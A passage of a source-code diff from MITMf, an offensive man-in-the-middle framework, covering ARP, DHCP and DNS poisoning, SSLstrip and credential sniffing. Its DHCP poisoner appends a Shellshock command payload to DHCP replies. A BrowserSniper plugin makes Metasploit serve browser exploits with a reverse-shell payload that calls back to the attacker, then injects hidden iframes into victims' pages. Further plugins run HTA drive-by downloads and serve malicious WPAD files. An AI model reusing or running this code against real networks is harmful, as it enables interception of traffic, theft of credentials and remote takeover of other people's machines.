if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
sleep(self.interval)
def options(self, options):
options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def on_shutdown(self, options):
def stop(self):
self.send = False
sleep(3)
self.interval = 1
count = 5
count = 2
if self.targets:
for target in self.targets:
if type(target) is IPAddress:
targetip = str(target)
try:
targetmac = getmacbyip(targetip)
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
elif self.targets is None:
if self.targets is None:
log.info("Restoring subnet connection with {} packets".format(count))
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
for i in range(0, count):
self.s2.send(pkt)
set_ip_forwarding(0)
iptables().flush()
elif self.targets:
for target in self.targets:
targetip = str(target)
targetmac = self.resolve_target_mac(targetip)
if targetmac is not None:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
try:
for i in range(0, count):
self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
#close the sockets
self.s.close()
self.s2.close()

View file

@ -20,6 +20,8 @@ import logging
import threading
import binascii
import random
from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError
from core.logger import logger
from scapy.all import *
@ -28,53 +30,80 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
class DHCPpoisoner():
def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface
self.ip_address = ip
self.mac_address = mac
self.shellshock = None
def __init__(self, options, dhcpcfg):
self.interface = options.interface
self.ip_address = options.ip
self.mac_address = options.mac
self.shellshock = options.shellshock
self.debug = False
self.dhcpcfg = dhcpcfg
self.rand_number = []
self.dhcp_dic = {}
log.debug("interface => {}".format(self.interface))
log.debug("ip => {}".format(self.ip_address))
log.debug("mac => {}".format(self.mac_address))
log.debug("shellshock => {}".format(self.shellshock))
log.debug("dhcpcfg => {}".format(self.dhcpcfg))
def start(self):
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
self.s2 = conf.L2socket(iface=self.interface)
t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff)
t.setDaemon(True)
t.start()
def dhcp_sniff(self, interface):
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
def stop(self):
self.s2.close()
def dhcp_sniff(self):
try:
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning: {}".format(e))
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1])
min_range = int(pool[0].split('.')[3])
number_range = range(min_range, max_range)
for n in number_range:
if n in self.rand_number:
number_range.remove(n)
rand_number = random.choice(number_range)
self.rand_number.append(rand_number)
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
pool = self.dhcpcfg['ip_pool']
try:
if '/' in pool:
ips = list(IPNetwork(pool))
return str(random.choice(ips))
return rand_ip
elif '-' in pool:
start_addr = IPAddress(pool.split('-')[0])
try:
end_addr = IPAddress(pool.split('-')[1])
ips = list(IPRange(start_addr, end_addr))
except AddrFormatError:
end_addr = list(start_addr.words)
end_addr[-1] = pool.split('-')[1]
end_addr = IPAddress('.'.join(map(str, end_addr)))
ips = list(IPRange(start_addr, end_addr))
return str(random.choice(ips))
log.error('Specified invalid CIDR/Network range in DHCP pool option')
except AddrFormatError:
log.error('Specified invalid CIDR/Network range in DHCP pool option')
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
log.debug('Saw a DHCP packet')
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1:
if resp[DHCP].options[0][1] == 1:
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
log.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
@ -83,20 +112,18 @@ class DHCPpoisoner():
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('name_server', self.ip_address),
('dns_server', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
self.s2.send(packet)
sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3:
if resp[DHCP].options[0][1] == 3:
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
@ -105,15 +132,12 @@ class DHCPpoisoner():
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('name_server', self.ip_address),
('dns_server', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
if self.shellshock:
log.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
@ -122,4 +146,4 @@ class DHCPpoisoner():
log.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug)
self.s2.send(packet)

View file

@ -18,26 +18,22 @@
import logging
import threading
import binascii
import random
from base64 import b64decode
from urllib import unquote
from time import sleep
from core.logger import logger
from scapy.all import *
from scapy.all import IP, ICMP, UDP, sendp
formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ICMPpoisoner", formatter)
class ICMPpoisoner():
def __init__(self, interface, target, gateway, ip_address):
def __init__(self, options):
self.target = target
self.gateway = gateway
self.interface = interface
self.ip_address = ip_address
self.target = options.target
self.gateway = options.gateway
self.interface = options.interface
self.ip_address = options.ip
self.debug = False
self.send = True
self.icmp_interval = 2

View file

@ -52,6 +52,7 @@ class ProxyPlugins:
plugin_mthds = {}
plugin_list = []
all_plugins = []
__shared_state = {}

View file

@ -47,7 +47,7 @@ from core.logger import logger
from mitmflib.dnslib import *
from IPy import IP
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DNSChef", formatter)
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
@ -300,6 +300,8 @@ class DNSHandler():
# Obtain a response from a real DNS server.
def proxyrequest(self, request, host, port="53", protocol="udp"):
clientip = {'clientip': self.client_address[0]}
reply = None
try:
if DNSChef().ipv6:
@ -337,12 +339,13 @@ class DNSHandler():
sock.close()
except Exception, e:
except Exception as e:
log.warning("Could not proxy request: {}".format(e), extra=clientip)
else:
return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
clientip = {'clientip': self.client_address[0]}
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):

View file

@ -17,13 +17,16 @@
#
import logging
import threading
import sys
from core.utils import shutdown
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver(ConfigWatcher):
server = Flask("HTTPserver")
func_list = []
__shared_state = {}
@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher):
self.__dict__ = self.__shared_state
def start_flask(self):
@self.server.route('/', defaults={'path': '/'})
@self.server.route('/<path:path>')
def catch_all(path):
for func in self.func_list:
resp = func(path)
if resp:
return resp
return path
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
def start(self):
@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher):
server_thread.setDaemon(True)
server_thread.start()
def add_endpoint(self, function):
self.func_list.append(function)
def setup_http_logger(self):
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
flask_logger = logging.getLogger('werkzeug')

20
core/servers/smb/KarmaSMB.py Normal file → Executable file
View file

@ -49,14 +49,16 @@
# hosting. *CAREFUL!!!*
#
import sys
import os
import argparse
import logging
import ntpath
import ConfigParser
from threading import Thread
from mitmflib.impacket import LOG as logger
from mitmflib.impacket.examples import logger
from mitmflib.impacket import smbserver, smb, version
import mitmflib.impacket.smb3structs as smb2
from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC
from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
getFileTime, queryPathInformation
class KarmaSMBServer():
class KarmaSMBServer(Thread):
def __init__(self, smb_challenge, smb_port, smb2Support = False):
Thread.__init__(self)
self.server = 0
self.defaultFile = None
self.extensions = {}
@ -144,7 +148,6 @@ class KarmaSMBServer():
respSetup = ''
respParameters = ''
respData = ''
errorCode = STATUS_SUCCESS
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
# 1. Let's grab the extension and map the file's contents we will deliver
@ -159,11 +162,6 @@ class KarmaSMBServer():
else:
targetFile = self.defaultFile
if (len(data) > 0):
findFirst2Data = smb.SMBFindFirst2_Data(data)
else:
findFirst2Data = ''
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
@ -282,8 +280,6 @@ class KarmaSMBServer():
errorCode = 0
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
if len(data) > 0:
queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = ''
@ -327,7 +323,7 @@ class KarmaSMBServer():
connData = smbServer.getConnectionData(connId)
# We're closing the connection trying to flush the client's
# cache.
if connData['MS15011']['StopConnection'] == True:
if connData['MS15011']['StopConnection'] is True:
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
return self.origsmb2Close(connId, smbServer, recvPacket)
@ -391,7 +387,7 @@ class KarmaSMBServer():
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryDirectory_Response()
queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
errorCode = 0xff
respSMBCommand['Buffer'] = '\x00'

View file

@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher):
try:
if self.mode == 'normal':
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.conf_impacket_logger(formatter)
server = smbserver.SimpleSMBServer(listenPort=self.port)
@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher):
LOG.setLevel(logging.INFO)
LOG.propagate = False
logging.getLogger('smbserver').setLevel(logging.INFO)
logging.getLogger('impacket').setLevel(logging.INFO)
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)

View file

@ -160,11 +160,8 @@ class ClientRequest(Request):
log.debug("Sending spoofed favicon response")
self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
log.debug("Sending request via SSL ({})".format((client,url)))
elif self.urlMonitor.isSecureLink(client, url):
log.debug("Sending request via SSL/TLS: {}".format(url))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else:

View file

@ -104,8 +104,6 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
log.debug("HTTP connection made.")
self.clientInfo["clientip"] = self.client.getClientIP()
try:
user_agent = parse(self.headers['user-agent'])
@ -120,6 +118,8 @@ class ServerConnection(HTTPClient):
self.clientInfo["browser"] = "Other"
self.clientInfo["browserv"] = "Other"
self.clientInfo["clientip"] = self.client.getClientIP()
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
@ -206,8 +206,8 @@ class ServerConnection(HTTPClient):
data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data']
log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
#log.debug("Read from server {} bytes of data".format(len(data)))
#log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
log.debug("Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))

View file

@ -20,6 +20,8 @@ import os
import logging
import re
import sys
from commands import getstatusoutput
from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr
@ -33,6 +35,11 @@ def shutdown(message=None):
sys.exit(message)
def set_ip_forwarding(value):
status, result = getstatusoutput('sysctl --help')
if status == 0:
log.debug("Setting ip forwarding to {} using sysctl".format(value))
os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX
else:
log.debug("Setting ip forwarding to {}".format(value))
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
@ -52,7 +59,7 @@ def get_mac(interface):
try:
mac_address = get_if_hwaddr(interface)
return mac_address
except Exception, e:
except Exception as e:
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
class iptables:

View file

@ -21,7 +21,9 @@
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO)
logging.getLogger('mitmflib.impacket').setLevel(logging.INFO)
import argparse
import sys
@ -88,6 +90,8 @@ strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
ProxyPlugins().all_plugins = plugins
#All our options should be loaded now, start initializing the plugins
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
for plugin in plugins:
@ -102,6 +106,7 @@ for plugin in plugins:
for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop())
plugin.setup_logger()
plugin.initialize(options)
if plugin.tree_info:
@ -109,16 +114,21 @@ for plugin in plugins:
print "| |_ {}".format(plugin.tree_info.pop())
plugin.reactor(strippingFactory)
plugin.setup_logger()
plugin.start_config_watch()
print "|"
print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
print "|"
#Start mitmf-api
from core.mitmfapi import mitmfapi
print "|_ MITMf-API online"
mitmfapi().start()
#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
NetCreds().start(options.interface)
NetCreds().start(options.interface, options.ip)
print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start the HTTP Server

View file

@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin):
if (request.command == 'POST') and ('clientprfl' in request.uri):
request.handle_post_output = True
self.output = json.loads(request.postData)
self.output['ip'] = request.client.getClientIP()
pretty_output = pformat(self.output)
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)

179
plugins/browsersniper.py Normal file
View file

@ -0,0 +1,179 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import threading
from time import sleep
from plugins.plugin import Plugin
from plugins.browserprofiler import BrowserProfiler
class BrowserSniper(BrowserProfiler, Plugin):
name = "BrowserSniper"
optname = "browsersniper"
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
version = "0.4"
has_opts = False
def initialize(self, options):
self.options = options
self.msfip = options.ip
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
from core.msfrpc import Msf
self.msf = Msf()
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
t = threading.Thread(name='sniper', target=self.snipe)
t.setDaemon(True)
t.start()
def _setupExploit(self, exploit, msfport):
self.log.debug('Setting up {}'.format(exploit))
rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
rand_port = random.randint(1000, 65535)
#generate the command string to send to the virtual console
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
self.msf.sendcommand(cmd)
return rand_url
def _compat_system(self, os_config, brw_config, os, browser):
if (os_config == 'any') and (brw_config == 'any'):
return True
if (os_config == 'any') and (brw_config in browser):
return True
if (os_config in os) and (brw_config == 'any'):
return True
if (os_config in os) and (brw_config in browser):
return True
return False
def getExploits(self):
exploits = []
vic_ip = self.output['ip']
os = self.output['ua_name']
browser = self.output['os_name']
java = None
flash = None
if self.output['java'] is not None:
java = self.output['java']
if self.output['flash'] is not None:
flash = self.output['flash']
self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash))
for exploit, details in self.config['BrowserSniper']['exploits'].iteritems():
if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()):
if details['Type'].lower() == 'browservuln':
exploits.append(exploit)
elif details['Type'].lower() == 'pluginvuln':
if details['Plugin'].lower() == 'java':
if (java is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
elif details['Plugin'].lower() == 'flash':
if (flash is not None) and (flash in details['PluginVersions']):
exploits.append(exploit)
self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits))
return exploits
def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
self.log.info("{} => Now injecting iframe to trigger exploits".format(ip))
self.html_url = url
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip))
poll_n = 1
while poll_n != 30:
if self.msf.sessionsfrompeer(ip):
self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped
self.html_url = None
return
poll_n += 1
sleep(2)
self.log.info("{} => Session not established after 60 seconds".format(ip))
self.html_url = None
def snipe(self):
while True:
if self.output:
vic_ip = self.output['ip']
if vic_ip not in self.sploited_ips:
msfport = self.config['BrowserSniper']['msfport']
exploits = self.getExploits()
if not exploits:
self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
self.sploited_ips.append(vic_ip)
self.black_ips = self.sploited_ips
elif exploits and (vic_ip not in self.sploited_ips):
self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
for exploit in exploits:
jobs = self.msf.findjobs(exploit)
if jobs:
self.log.info('{} => {} already started'.format(vic_ip, exploit))
url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit
else:
url = self._setupExploit(exploit, msfport)
iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url)
self.injectAndPoll(vic_ip, iframe_url)
sleep(1)

View file

@ -114,18 +114,14 @@ class FilePwn(Plugin):
#FilePwn options
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.hostblacklist = self.userConfig['hosts']['blacklist']
self.hostwhitelist = self.userConfig['hosts']['whitelist']
self.keysblacklist = self.userConfig['keywords']['blacklist']
self.keyswhitelist = self.userConfig['keywords']['whitelist']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.parse_target_config(self.userConfig['targets']['ALL'])
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
@ -571,11 +567,39 @@ class FilePwn(Plugin):
self.patched.put(tempZipFile)
return
def parse_target_config(self, targetConfig):
for key, value in targetConfig.iteritems():
if hasattr(self, key) is False:
setattr(self, key, value)
self.log.debug("Settings Config {}: {}".format(key, value))
elif getattr(self, key, value) != value:
if value == "None":
continue
#test if string can be easily converted to dict
if ':' in str(value):
for tmpkey, tmpvalue in dict(value).iteritems():
getattr(self, key, value)[tmpkey] = tmpvalue
self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue))
else:
setattr(self, key, value)
self.log.debug("Updating Config {}: {}".format(key, value))
def response(self, response, request, data):
content_header = response.headers['Content-Type']
client_ip = response.getClientIP()
for target in self.userConfig['targets'].keys():
if target == 'ALL':
self.parse_target_config(self.userConfig['targets']['ALL'])
if target in request.headers['host']:
self.parse_target_config(self.userConfig['targets'][target])
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):

View file

@ -21,7 +21,6 @@ import flask
from plugins.plugin import Plugin
from plugins.inject import Inject
from core.servers.http.HTTPserver import HTTPserver
class HTADriveBy(Inject, Plugin):
name = 'HTA Drive-By'
@ -35,17 +34,17 @@ class HTADriveBy(Inject, Plugin):
Inject.initialize(self, options)
self.html_payload = self.get_payload()
server = HTTPserver().server
@server.route('/<hta_req>')
def client_request(hta_req):
if hta_req == "Flash.hta":
with open('./config/hta_driveby/Flash.hta') as hta_file:
from core.servers.http.HTTPserver import HTTPserver
def hta_request(path):
if path == options.hta_app.split('/')[-1]:
with open(options.hta_app) as hta_file:
resp = flask.Response(hta_file.read())
resp.headers['Content-Type'] = "application/hta"
return resp
HTTPserver().add_endpoint(hta_request)
def get_payload(self):
with open("./core/html/htadriveby.html", 'r') as file:
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
@ -54,3 +53,4 @@ class HTADriveBy(Inject, Plugin):
def options(self, options):
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]')

View file

@ -65,7 +65,7 @@ class Inject(Plugin):
if self.html_url:
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
if self.html_payload:
payload = BeautifulSoup(self.html_payload, "html.parser")

View file

@ -17,6 +17,7 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import flask
from plugins.plugin import Plugin
from twisted.internet import reactor
@ -53,13 +54,8 @@ class Responder(Plugin):
if options.wpad:
from core.servers.http.HTTPserver import HTTPserver
import flask
server = HTTPserver().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
def wpad_request(path):
if (path == 'wpad.dat') or (path.endswith('.pac')):
payload = self.config['Responder']['WPADScript']
resp = flask.Response(payload)
@ -70,6 +66,8 @@ class Responder(Plugin):
return resp
HTTPserver().add_endpoint(wpad_request)
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLserver import MSSQLserver
MSSQLserver().start(smbChal)

115
plugins/spoof.py Normal file
View file

@ -0,0 +1,115 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.manualiptables = options.manualiptables
self.protocol_instances = []
from core.utils import iptables, shutdown, set_ip_forwarding
#Makes scapy more verbose
debug = False
if options.arp:
if not options.gateway:
shutdown("[Spoof] --arp argument requires --gateway")
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
arp = ARPpoisoner(options)
arp.debug = debug
